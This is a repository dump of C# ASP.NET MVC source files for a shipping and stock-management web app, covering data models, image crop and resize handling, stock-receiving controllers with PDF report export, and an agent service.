export default style; | 406ae146dbadfea0864064e5508b78f60b70d4b3 | [
"JavaScript"
] | 1 | JavaScript | wagaodev/estudos-rn-requisicao-post | 390709ddbef42852bfc327862af227dc5b62f7f6 | 1f8804d72b3c5eee19c2a4eb2a051b7e39e26d6d |
refs/heads/master | <file_sep>using System;
namespace SSM.Models
{
public enum HistoryAction : byte
{
[StringLabel("REVISED")]
Revised,
[StringLabel("REQUEST")]
Request
}
public class HistoryModel
{
public long Id { get; set; }
public DateTime CreateTime { get; set; }
public long UserId { get; set; }
public string ActionName { get; set; }
public string HistoryMessage { get; set; }
public long? ObjectId { get; set; }
public string ObjectType { get; set; }
public bool IsLasted { get; set; }
public bool IsRevisedRequest { get; set; }
public User User { get; set; }
public static HistoryModel ConvertToModel(History history)
{
if (history == null) return null;
var model = new HistoryModel
{
Id = history.Id,
CreateTime = history.CreateTime,
ActionName = history.ActionName,
HistoryMessage = history.HistoryMessage,
ObjectId = history.ObjectId ?? 0,
ObjectType = history.ObjectType,
IsLasted = history.IsLasted,
UserId = history.UserId,
User = history.User,
IsRevisedRequest = history.IsRevisedRequest
};
return model;
}
public static History ConvertToDb(HistoryModel history)
{
var model = new History
{
Id = history.Id,
CreateTime = history.CreateTime,
ActionName = history.ActionName,
HistoryMessage = history.HistoryMessage,
ObjectId = history.ObjectId ?? 0,
ObjectType = history.ObjectType,
IsLasted = history.IsLasted,
UserId = history.UserId,
IsRevisedRequest = history.IsRevisedRequest
};
return model;
}
public static void CopyModelToDb(History model, HistoryModel history)
{
model.Id = history.Id;
model.CreateTime = history.CreateTime;
model.ActionName = history.ActionName;
model.HistoryMessage = history.HistoryMessage;
model.ObjectId = history.ObjectId ?? 0;
model.ObjectType = history.ObjectType;
model.IsLasted = history.IsLasted;
model.UserId = history.UserId;
model.IsRevisedRequest = history.IsRevisedRequest;
}
}
}<file_sep>using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Web.Mvc;
using SSM.Models;
using SSM.Utils;
namespace SSM.Controllers
{
public class MediaController:Controller
{
#region static variables
private static string ImageCacheKey = "ImageKey_";
private static int W_FixedSize = 200;
private static int H_FixedSize = 200;
#endregion
#region local properties
private string WorkingImageCacheKey
{
get { return string.Format("{0}{1}", ImageCacheKey, WorkingImageId); }
}
private string ModifiedImageCacheKey
{
get { return string.Format("{0}{1}", ImageCacheKey, ModifiedImageId); }
}
#endregion
#region session properties
private Guid WorkingImageId
{
get
{
if (Session["WorkingImageId"] != null)
return (Guid)Session["WorkingImageId"];
else
return new Guid();
}
set { Session["WorkingImageId"] = value; }
}
private Guid ModifiedImageId
{
get
{
if (Session["ModifiedImageId"] != null)
return (Guid)Session["ModifiedImageId"];
else
return new Guid();
}
set { Session["ModifiedImageId"] = value; }
}
private string WorkingImageExtension
{
get
{
if (Session["WorkingImageExtension"] != null)
return Session["WorkingImageExtension"].ToString();
else
return string.Empty;
}
set { Session["WorkingImageExtension"] = value; }
}
#endregion
#region cached properties
private byte[] WorkingImage
{
get
{
byte[] img = null;
if (HttpContext.Cache[WorkingImageCacheKey] != null)
img = (byte[])HttpContext.Cache[WorkingImageCacheKey];
return img;
}
set
{
HttpContext.Cache.Add(WorkingImageCacheKey,
value,
null,
System.Web.Caching.Cache.NoAbsoluteExpiration,
new TimeSpan(0, 40, 0),
System.Web.Caching.CacheItemPriority.Low,
null);
}
}
private byte[] ModifiedImage
{
get
{
byte[] img = null;
if (HttpContext.Cache[ModifiedImageCacheKey] != null)
img = (byte[])HttpContext.Cache[ModifiedImageCacheKey];
return img;
}
set
{
HttpContext.Cache.Add(ModifiedImageCacheKey,
value,
null,
System.Web.Caching.Cache.NoAbsoluteExpiration,
new TimeSpan(0, 40, 0),
System.Web.Caching.CacheItemPriority.Low,
null);
}
}
#endregion
private enum ImageModificationType
{
Crop,
Resize
};
/// <summary>
/// Files the upload.
/// </summary>
/// <param name="uploadedFileMeta">The uploaded file meta.</param>
/// <returns></returns>
[Authorize]
public ActionResult FileUpload(MediaAssetUploadModel uploadedFileMeta)
{
Guid newImageId = new Guid();
try
{
newImageId = ProcessUploadedImage(uploadedFileMeta);
}
catch (Exception ex)
{
string errorMsg = string.Format("Error processing image: {0}", ex.Message);
Response.StatusCode = 500;
Response.Write(errorMsg);
return Json(string.Empty);
}
return Json(new { Id = newImageId, Status = "OK" });
}
/// <summary>
/// Processes the uploaded image.
/// </summary>
/// <param name="uploadedFileMeta">The uploaded file meta.</param>
/// <returns>Image Id</returns>
private Guid ProcessUploadedImage(MediaAssetUploadModel uploadedFileMeta)
{
// Get the file extension
WorkingImageExtension = Path.GetExtension(uploadedFileMeta.Filename).ToLower();
string[] allowedExtensions = { ".png", ".jpeg", ".jpg", ".gif" }; // Make sure it is an image that can be processed
if (allowedExtensions.Contains(WorkingImageExtension))
{
WorkingImageId = Guid.NewGuid();
Image workingImage = new Bitmap(uploadedFileMeta.fileData.InputStream);
WorkingImage = ImageHelper.ImageToByteArray(workingImage);
}
else
{
throw new Exception("Cannot process files of this type.");
}
return WorkingImageId;
}
/// <summary>
/// Crops the image.
/// </summary>
/// <param name="x">The x.</param>
/// <param name="y">The y.</param>
/// <param name="w">The w.</param>
/// <param name="h">The h.</param>
/// <returns>Image Id</returns>
public JsonResult CropImage(int x, int y, int w, int h)
{
try
{
if (w == 0 && h == 0) // Make sure the user selected a crop area
throw new Exception("A crop selection was not made.");
string imageId = ModifyImage(x, y, w, h, ImageModificationType.Crop);
return Json(imageId);
}
catch (Exception ex)
{
string errorMsg = string.Format("Error cropping image: {0}", ex.Message);
Response.StatusCode = 500;
Response.Write(errorMsg);
return Json(string.Empty);
}
}
/// <summary>
/// Resizes the image.
/// </summary>
/// <returns>Image Id</returns>
public JsonResult ResizeImage()
{
try
{
string imageId = ModifyImage(0, 0, W_FixedSize, H_FixedSize, ImageModificationType.Resize);
return Json(imageId);
}
catch (Exception ex)
{
string errorMsg = string.Format("Error resizing image: {0}", ex.Message);
Response.StatusCode = 500;
Response.Write(errorMsg);
return Json(string.Empty);
}
}
/// <summary>
/// Modifies an image image.
/// </summary>
/// <param name="x">The x.</param>
/// <param name="y">The y.</param>
/// <param name="w">The w.</param>
/// <param name="h">The h.</param>
/// <param name="modType">Type of the mod. Crop or Resize</param>
/// <returns>New Image Id</returns>
private string ModifyImage(int x, int y, int w, int h, ImageModificationType modType)
{
ModifiedImageId = Guid.NewGuid();
Image img = ImageHelper.ByteArrayToImage(WorkingImage);
using (System.Drawing.Bitmap _bitmap = new System.Drawing.Bitmap(w, h))
{
_bitmap.SetResolution(img.HorizontalResolution, img.VerticalResolution);
using (Graphics _graphic = Graphics.FromImage(_bitmap))
{
_graphic.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
_graphic.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
_graphic.PixelOffsetMode = System.Drawing.Drawing2D.PixelOffsetMode.HighQuality;
_graphic.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
if (modType == ImageModificationType.Crop)
{
_graphic.DrawImage(img, 0, 0, w, h);
_graphic.DrawImage(img, new Rectangle(0, 0, w, h), x, y, w, h, GraphicsUnit.Pixel);
}
else if (modType == ImageModificationType.Resize)
{
_graphic.DrawImage(img, 0, 0, img.Width, img.Height);
_graphic.DrawImage(img, new Rectangle(0, 0, W_FixedSize, H_FixedSize), 0, 0, img.Width, img.Height, GraphicsUnit.Pixel);
}
string extension = WorkingImageExtension;
// If the image is a gif file, change it into png
if (extension.EndsWith("gif", StringComparison.OrdinalIgnoreCase))
{
extension = ".png";
}
using (EncoderParameters encoderParameters = new EncoderParameters(1))
{
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, 100L);
ModifiedImage = ImageHelper.ImageToByteArray(_bitmap, extension, encoderParameters);
}
}
}
return ModifiedImageId.ToString();
}
}
}<file_sep>using System;
using System.Collections.Generic;
namespace SSM.Common
{
public class ResultCommand
{
public bool IsFinished { get; set; }
public string Message { get; set; }
}
public interface IResult
{
bool IsSuccess { get; }
IList<string> ErrorResults { get; }
}
public class CommandResult : IResult
{
public CommandResult(bool isSuccess)
{
IsSuccess = isSuccess;
}
public bool IsSuccess { get; set; }
public Exception Exception { get; set; }
public IList<string> ErrorResults { get; set; }
public static IResult ErrorResult(params string[] messages)
{
return new CommandResult(false)
{
ErrorResults = messages
};
}
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class UnitModel
{
public long Id { get; set; }
[Required]
public String Unit1 { get; set; }
public String Description { get; set; }
public String ServiceType { get; set; }
public static void RevertUnit(UnitModel Model, Unit Unit1)
{
if (Model.Id != 0)
{
Unit1.Id = Model.Id;
}
Unit1.Description = Model.Description;
Unit1.Unit1 = Model.Unit1;
Unit1.ServiceType = Model.ServiceType;
}
}
}<file_sep>using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class AgentModel
{
public long Id { get; set; }
[Required]
[DisplayName("Agent Name")]
public string AgentName { get; set; }
public string PhoneNumber { get; set; }
public string Address { get; set; }
public string Email { get; set; }
public string Description { get; set; }
[Required]
[DisplayName("AbbName")]
public string AbbName { get; set; }
[DisplayName("Country")]
public string CountryName { get; set; }
public string GroupType { get; set; }
public User User { get; set; }
public bool IsActive { get; set; }
public static void ConverModel(Agent Agent1, AgentModel Model1)
{
Model1.Id = Agent1.Id;
Model1.AbbName = Agent1.AbbName;
Model1.Address = Agent1.Address;
Model1.PhoneNumber = Agent1.PhoneNumber;
Model1.Description = Agent1.Description;
Model1.CountryName = Agent1.CountryName;
Model1.Email = Agent1.Email;
Model1.AgentName = Agent1.AgentName;
Model1.GroupType = Agent1.GroupType;
Model1.User = Agent1.User;
Model1.IsActive = Agent1.IsActive;
}
public static void ConvertModel(AgentModel Model1, Agent Agent1)
{
Agent1.Id = Model1.Id;
Agent1.AbbName = Model1.AbbName;
Agent1.Address = Model1.Address;
Agent1.PhoneNumber = Model1.PhoneNumber;
Agent1.Description = Model1.Description;
Agent1.CountryName = Model1.CountryName;
Agent1.Email = Model1.Email;
Agent1.AgentName = Model1.AgentName;
Agent1.GroupType = Model1.GroupType;
Agent1.IsActive = Model1.IsActive;
if (Model1.User != null)
Agent1.UserId = Model1.User.Id;
}
}
}<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using System.Data.Linq;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Runtime.Remoting.Messaging;
using System.Web;
using System.Web.Mvc;
using CrystalDecisions.CrystalReports.Engine;
using CrystalDecisions.Shared;
using SSM.Common;
using SSm.Common;
using SSM.Models;
using SSM.Reports;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Reports;
using SSM.ViewModels.Shared;
using Helpers = SSM.Common.Helpers;
using RequestContext = System.Web.Routing.RequestContext;
namespace SSM.Controllers
{
public class StockReceivingController : BaseController
{
private Grid<OrderModel> grid;
private const string STOCKRECIVING_GIRD_MODEL = "STOCKRECIVING_GIRD_MODEL";
private const string STOCKRECIVING_SEARCH_MODEL = "STOCKRECIVING_SEARCH_MODEL";
private ICustomerServices customerServices;
private IProductServices productServices;
private IWarehouseSevices warehouseSevices;
private ISupplierServices supplierServices;
private IStockReceivingService stockReceivingService;
private SelectList currencyList, warehouseList;
private IEnumerable<Warehouse> warehouses;
private TradingStockSearch filterModel;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
productServices = new ProductServices();
warehouseSevices = new WareHouseServices();
stockReceivingService = new StockReceivingService();
supplierServices = new SupplierSerivecs();
customerServices = new CustomerServices();
if (!Helpers.AllowTrading)
{
throw new HttpException("You are not authorized to access this page");
}
}
private IEnumerable<Curency> curencies;
private void GetDefaultData()
{
warehouses = warehouses == null || !warehouses.Any() ? warehouseSevices.GetAll() : warehouses;
var stocks = warehouses.Select(x => new SelectListItem
{
Text = x.Name,
Value = x.Id.ToString()
}).ToList();
stocks.Insert(0, new SelectListItem()
{
Text = "--All--",
Value = "0"
});
curencies = curencies ?? stockReceivingService.GetAllCurencies();
if (currencyList == null) currencyList = new SelectList(curencies, "Id", "Code");
var userTrading = stockReceivingService.GetAllUserTrading();
var users = userTrading.Select(x => new SelectListItem
{
Text = x.FullName,
Value = x.Id.ToString()
}).ToList();
users.Insert(0, new SelectListItem()
{
Text = "--All--",
Value = "0"
});
ViewData["UserTrading"] = users;
ViewData["Currency"] = currencyList;
ViewBag.vStatus = VoucherStatus.Pending;
ViewBag.Islook = "";
ViewData["Warehouses"] = stocks;
ViewBag.SearchingMode = filterModel ?? new TradingStockSearch();
}
[HttpGet]
public ActionResult Index()
{
grid = (Grid<OrderModel>)Session[STOCKRECIVING_GIRD_MODEL];
filterModel = (TradingStockSearch)Session[STOCKRECIVING_SEARCH_MODEL];
filterModel = filterModel ?? new TradingStockSearch();
if (grid == null)
{
grid = new Grid<OrderModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 20,
Sord = "desc",
Sidx = "VoucherDate"
}
);
grid.SearchCriteria = new OrderModel();
}
long SearchQuickView = Session["SearchQuickView"] == null ? 0 : (long)Session["SearchQuickView"];
Session["SearchQuickView"] = SearchQuickView;
UpdateGridData();
return View(grid);
}
[HttpPost]
public ActionResult Index(TradingStockSearch filter, Grid<OrderModel> gridModel)
{
filterModel = filter;
grid = gridModel;
Session[STOCKRECIVING_GIRD_MODEL] = grid;
Session[STOCKRECIVING_SEARCH_MODEL] = filterModel;
grid.ProcessAction();
UpdateGridData();
return PartialView("_ListData", grid);
}
private void UpdateGridData()
{
var orderField = new SSM.Services.SortField(grid.Pager.Sidx, grid.Pager.Sord == "asc");
filterModel.SortField = orderField;
GetDefaultData();
var totalRow = 0;
grid.Data = stockReceivingService.GetAllModel(filterModel, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow, CurrenUser);
grid.Pager.Init(totalRow);
}
public ActionResult Create()
{
GetDefaultData();
ViewBag.Islook = "new";
var order = new OrderModel();
order.Supplier = new Supplier();
order.Curency = curencies.FirstOrDefault(x => x.Code == "USD");
order.VoucherCode = 1;
order.Status = VoucherStatus.Pending;
order.VoucherNo = stockReceivingService.GetVoucherNo();
order.ExchangeRate = 22500;
return View(order);
}
[HttpPost]
public ActionResult Create(OrderModel model)
{
GetDefaultData();
ViewBag.Islook = "new";
if (!ModelState.IsValid)
return View(model);
try
{
model.CreateBy = CurrenUser.Id;
model.VoucherId = stockReceivingService.GetVoucherId();
model.DateCreate = DateTime.Now;
long voucherId = model.VoucherId;
stockReceivingService.Insert(model, out voucherId);
return RedirectToAction("Edit", new { id = voucherId });
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, ex.Message);
return View(model);
}
}
public ActionResult Edit(long id)
{
GetDefaultData();
var order = stockReceivingService.GetByModel(id);
ViewBag.Islook = "look";
return View(order);
}
[HttpPost]
public ActionResult Edit(OrderModel model)
{
GetDefaultData();
ViewBag.Islook = "";
if (!ModelState.IsValid)
return View(model);
try
{
model.ModifyBy = CurrenUser.Id;
model.DateModify = DateTime.Now;
stockReceivingService.Update(model);
return RedirectToAction("Edit", new { id = model.VoucherId });
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, ex.Message);
return View(model);
}
}
public ActionResult BlankEditorRow(int tabindex)
{
GetDefaultData();
ViewData["tabindex"] = tabindex;
return PartialView("_StockDetailView", new OrderDetailModel());
}
public JsonResult CountrySuggest(string term)
{
var result = stockReceivingService.GetAllCountry()
.Where(x => x.CountryName.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.Id).Take(20)
.ToList()
.Select(x => new { id = x.Id, Display = x.CountryName });
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult ProductSuggest(string term)
{
var result = productServices.GetAll(term, 20);
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult ProductNameSuggest(string term)
{
var result = productServices.GetAll(x => x.Name.ToLower().Contains(term.ToLower()), 20)
.Select(x => new { id = x.Code.Trim(), Display = x.Name.Trim() });
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult ProductCodeSuggest(string term)
{
var result = productServices.GetAll(x => x.Code.ToLower().Contains(term.ToLower()), 20)
.Select(x => new { id = x.Name.Trim(), Display = x.Code.Trim() });
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult CustomerSuggest(string term)
{
var result = customerServices.GetQuery(x => x.FullName.Contains(term))
.OrderBy(x => x.FullName).Take(20)
.ToList()
.Select(x => new { id = x.Id, Display = x.FullName });
return Json(result, JsonRequestBehavior.AllowGet);
}
/// <summary>
/// If auto suggestion not valid will be show dialog for user Select;
/// </summary>
/// <param name="id">CurrenId</param>
/// <param name="name">Name found</param>
/// <param name="modelName">Model on DB for</param>
/// <returns></returns>
[HttpPost]
[ValidateInput(false)]
public JsonResult CheckSuggest(int? id, string name, string modelName, int tabIndex)
{
var supps = new List<StockRecevingDiagloModel>();
if (!id.HasValue)
id = 0;
switch (modelName)
{
case "Supplier":
if (id != 0)
{
var supplierById = supplierServices.GetSupplier(id.Value);
if (supplierById != null && supplierById.FullName == name)
return Json("ok");
}
supps =
supplierServices.GetAll()
.Where(x => (string.IsNullOrEmpty(name) || x.FullName.Contains(name))).OrderBy(x => x.FullName)
.Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.FullName, Other = "N/A" })
.ToList();
if (!supps.Any())
{
supps = supplierServices.GetAll().Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.FullName, Other = "N/A" }).ToList();
}
break;
case "Customer":
var customer = new Customer();
if (id != 0)
{
customer = customerServices.GetById(id.Value);
if (customer != null && customer.FullName == name)
return Json("ok");
}
customer.FullName = name;
supps =
customerServices.GetQuery()
.Where(x => (string.IsNullOrEmpty(name) || x.FullName.Contains(name))).OrderBy(x => x.FullName)
.Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.FullName, Other = "N/A" })
.ToList();
if (!supps.Any())
{
supps = customerServices.GetQuery().Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.FullName, Other = "N/A" }).ToList();
}
break;
case "Country":
if (id != 0)
{
var countryById = stockReceivingService.GetAllCountry().FirstOrDefault(x => x.Id == id);
if (countryById != null && countryById.CountryName == name)
return Json("ok");
}
supps =
stockReceivingService.GetAllCountry()
.Where(x => (string.IsNullOrEmpty(name) || x.CountryName.Contains(name))).OrderBy(x => x.CountryName)
.Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.CountryName, Other = "N/A" })
.ToList();
if (!supps.Any())
{
supps = stockReceivingService.GetAllCountry().Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.CountryName, Other = "N/A" }).ToList();
}
break;
case "Product":
if (id != 0 && productServices.Exists(name))
return Json("ok");
supps = productServices.GetAll(name, 20);
if (!supps.Any())
{
supps = productServices.GetAll().Select(x => new StockRecevingDiagloModel { Id = x.Id, Display = x.Name, Other = "N/A" }).ToList();
}
break;
}
ViewData["TabIndexAdd"] = tabIndex;
ViewData["nameSearch"] = name;
ViewData["modelName"] = modelName;
var html = this.RenderPartialView("_EnterSearchDialogView", supps);
return Json(html, JsonRequestBehavior.AllowGet);
}
public void Print(long id, bool isLogin = true)
{
var allEverest = new List<StockInDetailReport>();
var order = stockReceivingService.GetByModel(id);
allEverest.AddRange(order.OrderDetails.Select(x => new StockInDetailReport
{
ProductCode = $"{x.Product.Code}",
ProductName = $"{x.Product.Name}{ Environment.NewLine}- Tại: {x.Warehouse.Name}",
WarehouseName = $"{x.Warehouse.Name}",
Unit = x.UOM ?? "",
WarehouseAddress =$"{ x.Warehouse.Address}",
Price = x.PriceReceive,
Quantity = x.Quantity,
Amount = x.Total
}));
try
{
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath(@"~/bin/Reports"), "RpStockIn.rpt"));
rd.SetDataSource(allEverest);
rd.SetParameterValue("supplierName", order.Supplier.FullName ?? "");
rd.SetParameterValue("supplierAddress", order.Supplier.Address ?? "");
rd.SetParameterValue("voucherDate", order.VoucherDate ?? DateTime.Now);
rd.SetParameterValue("DesignerName", isLogin ? CurrenUser.FullName : " ");
rd.SetParameterValue("strDate",
string.Format("Ngày {0:dd} tháng {0:MM} năm {0:yyyy}", order.VoucherDate ?? DateTime.Now));
rd.SetParameterValue("totalString", order.TTT.DecimalToString(CodeCurrency.USD));
rd.SetParameterValue("vnAmount", order.VnTTT.ToString("N0"));
rd.SetParameterValue("strVnAmount", order.VnTTT.DecimalToString(CodeCurrency.VND));
rd.SetParameterValue("voucherNo", order.VoucherNo ?? " ");
rd.SetParameterValue("note", string.IsNullOrEmpty(order.NotePrints) ? " " : order.NotePrints);
rd.ExportToHttpResponse(ExportFormatType.PortableDocFormat, System.Web.HttpContext.Current.Response,
false, $"phieunhap_{order.VoucherNo}");
rd.Dispose();
}
catch (Exception ex)
{
Logger.LogError(ex);
throw ex;
}
}
public FileResult GetFile(string fileName)
{
string path = AppDomain.CurrentDomain.BaseDirectory + "App_Data/";
return File(path + fileName, System.Net.Mime.MediaTypeNames.Application.Pdf, fileName);
}
public ActionResult Delete(long id)
{
try
{
var mt = stockReceivingService.GetById(id);
if (mt != null && mt.status == (byte)VoucherStatus.Pending)
{
Logger.Log(string.Format("{0} delete stock order with id {1} bill {2}", CurrenUser.FullName, mt.VoucherID, mt.VoucherNo));
stockReceivingService.DeleteOrder(id);
}
}
catch (Exception ex)
{
Logger.LogError(ex);
}
return RedirectToAction("Index");
}
public ActionResult StockCardAction(long id, string status)
{
VoucherStatus vStatus = (VoucherStatus)Enum.Parse(typeof(VoucherStatus), status);
stockReceivingService.VoucherAction(vStatus, CurrenUser.Id, id);
ViewBag.vStatus = vStatus;
// var button = ModelExtensions.StockButtonAction(currentUser, vStatus, id, );
var model = stockReceivingService.GetByModel(id);
var statusview = this.RenderPartialView("_StatusView", model);
return Json(new
{
status = vStatus.ToString(),
// button = button,
view = statusview
}, JsonRequestBehavior.AllowGet);
}
public void TestView()
{
ReportDocument rd = new ReportDocument();
string strRptPath = System.Web.HttpContext.Current.Server.MapPath("~/") + "Reports//" + "generic.rpt";
rd.Load(strRptPath);
rd.SetDataSource(GetStudents());
rd.SetParameterValue("fromDate", DateTime.Now.AddDays(-3).ToShortDateString());
rd.SetParameterValue("toDate", DateTime.Now.ToShortDateString());
rd.ExportToHttpResponse(ExportFormatType.PortableDocFormat, System.Web.HttpContext.Current.Response, false, "crReport");
}
private List<Student> GetStudents()
{
return new List<Student>() {
new Student(){StudentID=1,StudentName="Hasibul"},
new Student(){StudentID=2,StudentName="Tst"}
};
}
public ActionResult UpdateNote(long id, string note)
{
try
{
var model = stockReceivingService.GetByModel(id);
model.NotePrints = note;
stockReceivingService.Update(model);
return Json("ok", JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
Logger.LogError(ex);
return Json(ex.Message, JsonRequestBehavior.AllowGet);
}
}
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public enum CustomerType
{
[StringLabel("Shipper")]
Shipper,
[StringLabel("Cnee")]
Cnee,
[StringLabel("Shipper & Cnee")]
ShipperCnee,
[StringLabel("Trading")]
Trading,
[StringLabel("Other")]
CoType,
}
public class CustomerModel
{
public long Id { get; set; }
[Required]
[DisplayName("Customer Name")]
public String FullName { get; set; }
[DisplayName("Type")]
public String Type { get; set; }
[DisplayName("Address")]
public String Address { get; set; }
[DisplayName("PhoneNumber")]
public String PhoneNumber { get; set; }
[DisplayName("Fax")]
public String Fax { get; set; }
[DisplayName("Email")]
public String Email { get; set; }
[DisplayName("CompanyName")]
[Required]
public String CompanyName { get; set; }
[DisplayName("Description")]
public String Description { get; set; }
public long UserId { get; set; }
[DisplayName("See")]
public bool IsSee { get; set; }
[DisplayName("Move")]
public bool IsMove { get; set; }
public User MovedByUser { get; set; }
public long MovedUserId { get; set; }
public long CrmCusId { get; set; }
public bool IsHideUser { get; set; }
}
public class CustomerGroup
{
public int Id { get; set; }
public string GroupName { get; set; }
public string Description { get; set; }
public int MainGroup { get; set; }
}
}<file_sep>using System.Collections.Generic;
using DotNetOpenAuth.OpenId;
using SSM.Models;
namespace SSM.ViewModels
{
public class Student
{
public int StudentID { get; set; }
public string StudentName { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IAgentService : IServices<Agent>
{
Agent GetById(long id);
AgentModel GetModelById(long id);
IQueryable<Agent> GetAll(Agent agent);
bool InsertAgent(AgentModel model, out string message);
bool UpdateAgent(AgentModel model, out string message);
bool DeleteAgent(long id, out string message);
bool SetActive(int id, bool isActive);
}
public class AgentService : Services<Agent>, IAgentService
{
public Agent GetById(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public AgentModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return Mapper.Map<AgentModel>(db);
}
public IQueryable<Agent> GetAll(Agent model)
{
var qr = GetQuery(s =>
(string.IsNullOrEmpty(model.AbbName) || (s.AbbName.Contains(model.AbbName)))
&& (string.IsNullOrEmpty(model.AgentName) || (s.AgentName.Contains(model.AgentName)))
&& (string.IsNullOrEmpty(model.Address) || (s.Address.Contains(model.Address)))
&& (string.IsNullOrEmpty(model.CountryName) || s.CountryName.Contains(model.CountryName))
);
return qr;
}
public bool InsertAgent(AgentModel model, out string message)
{
try
{
var db = new Agent();
AgentModel.ConvertModel(model, db);
Insert(db);
Commited();
message = Message.Successfully.ToString();
return true;
}
catch (Exception ex)
{
message = Message.Failed.ToString() + " ==> " + ex.Message;
Logger.Log(ex.Message);
Logger.LogError(ex); return false;
}
}
public bool UpdateAgent(AgentModel model, out string message)
{
try
{
var db = GetById(model.Id);
AgentModel.ConvertModel(model, db);
Commited();
message = Message.Successfully.ToString();
return true;
}
catch (Exception ex)
{
message = Message.Failed.ToString() + " ==> " + ex.Message;
Logger.Log(ex.Message);
Logger.LogError(ex); return false;
}
}
public bool DeleteAgent(long id, out string message)
{
try
{
var db = GetById(id);
Delete(db);
Commited();
message = Message.Successfully.ToString();
return true;
}
catch (Exception ex)
{
message = Message.Failed.ToString() + " ==> " + ex.Message;
Logger.LogError(ex); return false;
}
}
public bool SetActive(int id, bool isActive)
{
var db = GetById(id);
if (db == null) return false;
db.IsActive = isActive;
Commited();
return true;
}
}
}<file_sep>namespace SSM.Models
{
public class BookingConfirmModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string RefNo { get; set; }
public string BookDate { get; set; }
public string BookTo { get; set; }
public string BookFrom { get; set; }
public string Destination { get; set; }
public string Commodity { get; set; }
public string Quantity { get; set; }
public string FlightDate { get; set; }
public string LoadingDate { get; set; }
public string ClosingDate { get; set; }
public string AirportCharge { get; set; }
public string XPray { get; set; }
public string AWBFee { get; set; }
public string HandingCharge { get; set; }
public string AMSCharge { get; set; }
public string Contact { get; set; }
public string AuthoWord { get; set; }
public string Wearehouse { get; set; }
public string FlyNo { get; set; }
public static void ConvertBookingConfirm(BookingConfirmModel Model1, BookingConfirm Book1)
{
Book1.ShipmentId = Model1.ShipmentId;
Book1.RefNo = Model1.RefNo;
Book1.BookDate = Model1.BookDate;
Book1.BookTo = Model1.BookTo;
Book1.BookFrom = Model1.BookFrom;
Book1.Destination = Model1.Destination;
Book1.Commodity = Model1.Commodity;
Book1.Quantity = Model1.Quantity;
Book1.FlightDate = Model1.FlightDate;
Book1.LoadingDate = Model1.LoadingDate;
Book1.ClosingDate = Model1.ClosingDate;
Book1.AirportCharge = Model1.AirportCharge;
Book1.XPray = Model1.XPray;
Book1.AWBFee = Model1.AWBFee;
Book1.HandingCharge = Model1.HandingCharge;
Book1.AMSCharge = Model1.AMSCharge;
Book1.Contact = Model1.Contact;
Book1.AuthoWord = Model1.AuthoWord;
Book1.Wearehouse = Model1.Wearehouse;
Book1.FlyNo = Model1.FlyNo;
}
public static void ConvertBookingConfirm(BookingConfirm Book1, BookingConfirmModel Model1)
{
Model1.Id = Book1.Id;
Model1.ShipmentId = Book1.ShipmentId;
Model1.RefNo = Book1.RefNo;
Model1.BookDate = Book1.BookDate;
Model1.BookTo = Book1.BookTo;
Model1.BookFrom = Book1.BookFrom;
Model1.Destination = Book1.Destination;
Model1.Commodity = Book1.Commodity;
Model1.Quantity = Book1.Quantity;
Model1.FlightDate = Book1.FlightDate;
Model1.LoadingDate = Book1.LoadingDate;
Model1.ClosingDate = Book1.ClosingDate;
Model1.AirportCharge = Book1.AirportCharge;
Model1.XPray = Book1.XPray;
Model1.AWBFee = Book1.AWBFee;
Model1.HandingCharge = Book1.HandingCharge;
Model1.AMSCharge = Book1.AMSCharge;
Model1.Contact = Book1.Contact;
Model1.AuthoWord = Book1.AuthoWord;
Model1.FlyNo = Book1.FlyNo;
Model1.Wearehouse = Book1.Wearehouse;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using SSM.Models;
namespace SSM.Models
{
public class IssueVoucherModel
{
public DateTime VoucherDate { get; set; }
public Product Product { get; set; }
public Supplier Supplier { get; set; }
public Customer Customer { get; set; }
public Warehouse Warehouse { get; set; }
public decimal Quantity { get; set; }
public decimal QuantityPendingOut { get; set; }
public decimal QuantityOut { get; set; }
public string UOM { get; set; }
public decimal Price { get; set; }
public decimal PriceOut { get; set; }
public decimal Amount { get; set; }
public decimal Amount0 { get; set; }
public decimal AmountOut { get; set; }
public decimal AmountInventory { get; set; }
public string VoucherNo { get; set; }
public DateTime? FromDate { get; set; }
public DateTime? ToDate { get; set; }
public bool StockIn { get; set; }
public bool StockOut { get; set; }
public bool HashOut { get; set; }
public int Year { get; set; }
public int TopRowDetail { get; set; }
}
public class SummaryInventory
{
